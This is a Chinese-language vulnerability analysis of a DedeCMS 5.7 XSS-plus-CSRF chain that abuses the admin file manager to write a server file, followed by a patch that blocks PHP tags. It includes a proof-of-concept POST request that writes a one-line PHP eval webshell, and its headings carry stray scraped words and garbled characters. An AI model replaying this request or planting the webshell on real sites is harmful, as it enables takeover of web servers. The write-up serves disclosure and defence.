DedeCMS Xss+Csrf Getshell \dede\file_manage_control.php

目录php

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防护方法
6. 攻防思考

 

1. 漏洞描述html

对这个漏洞的利用方式进行简单的归纳shell

1. 这个漏洞的利用前提是须要登陆到后台进行操做,准确来讲是从cookies的角度来讲是须要处于登陆的后台状态
2. 后台的Logo上传存在xss漏洞,黑客能够在img的src中注入xss的代码
3. 黑客能够利用xss未过滤漏洞,发起CSRF攻击,劫持目标用户向"/dede/file_manage_control.php"文件发送畸形POST数据包
4. "/dede/file_manage_control.php"中未对外部输入的数据进行有效的过滤、转义,就将数据输出到磁盘文件中,最终致使了GETSHELL

对于这个漏洞咱们须要明白的是,漏洞的根源在于DEDE的后台存在XSS未过滤漏洞,而"/dede/file_manager_control.php"自己并无太大的漏洞,由于这个文件原本就是网站系统提供的原生的业务功能,容许管理员以相似FTP管理的形式管理本身的磁盘express

Relevant Link:cookie

http://www.wooyun.org/bugs/wooyun-2010-025175
http://www.wooyun.org/bugs/wooyun-2010-065561
http://www.2cto.com/Article/201409/335025.html


2. 漏洞触发条件xss

1. 黑客已经拿到了管理员的后台账号、密码
2. 目标网站的后台(一般是审核的位置)存在XSS未过滤漏洞 
3. 黑客经过后台XSS未过滤漏洞劫持管理员,强制向特定文件发起AJAX POST请求
4. 发起基于XSS+CSRF的攻击
    1) SQL Injection Based On XSS+CSRF
    2) File Upload Based On XSS+CSRF

0x1: POCide

1. 利用XSS强制劫持用户发起POST请求
注入xss代码

2. POST
http://localhost/dedecms5.7/dede/file_manage_control.php

3. DATA
fmdo=edit&backurl=&activepath=&filename=csrf.php&str=<?php eval($_post[op]);?>&b1=


3. 漏洞影响范围post

1. DedeCMS-V5.7-UTF8-SP1
2. <= DedeCMS-V5.7-UTF8-SP1


4. 漏洞代码分析网站

从本质上来说,这个漏洞的根源是基于后台管理员交互的XSS+CSRF攻击,可是XSS的代码防护涉及到不少的逻辑点,很难作到逐一防护,并且XSS的利用涉及到某个模块是否有安装这种问题
一个可行的(但也不是最好的)的防护方法是"切断业务","\dede\file_manage_control.php"是网站的一个业务功能,提供文件上传,咱们能够对"\dede\file_manage_control.php"中的文件上传进行"insert function hook",对"POST File Upload Based On XSS+CSRF"的文件进行恶意检测ui


5. 防护方法

0x1: \dede\file_manage_control.php

<?php
/**
 * 文件管理控制
 *
 * @version        $Id: file_manage_control.php 1 8:48 2010年7月13日Z tianya $
 * @package        DedeCMS.Administrator
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
require(dirname(__FILE__)."/config.php");

function find_php_payload($body, $file)
{ 
    $express = "/<\?(php){0,1}(.*)/i";
    if ( preg_match($express, $body) ) 
    {   
        if( file_exists($file) )
        {
            @unlink($file);
        }
        die("Request Error!");   
    }  
}

CheckPurview('plus_文件管理器');
...
else if($fmdo=="edit")
{ 
    $filename = str_replace("..", "", $filename);
    $file = "$cfg_basedir$activepath/$filename";
    //对输入变量进行转义
    $str = stripslashes($str);

    $str = find_php_payload($str, $file);

    $fp = fopen($file, "w");
    fputs($fp, $str);
    fclose($fp);
    if(empty($backurl))
    {
        ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
    }
    else
    {
        ShowMsg("成功保存文件!",$backurl);
    }
    exit();
}
...

0x2: 防护方案对网站业务的影响

使用"业务切断"思想作的防护方案可以成功的防护这种XSS+CSRF Getshell攻击,可是也对业务形成了必定的影响

1. 用户在编辑的文件中带有"<?php"标签

 

2. 黑客使用XSS+CSRF发送AJAX POST请求进行GETSHELL

代码成功地防护了黑客的注入攻击

 

6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

相关文章
相关标签/搜索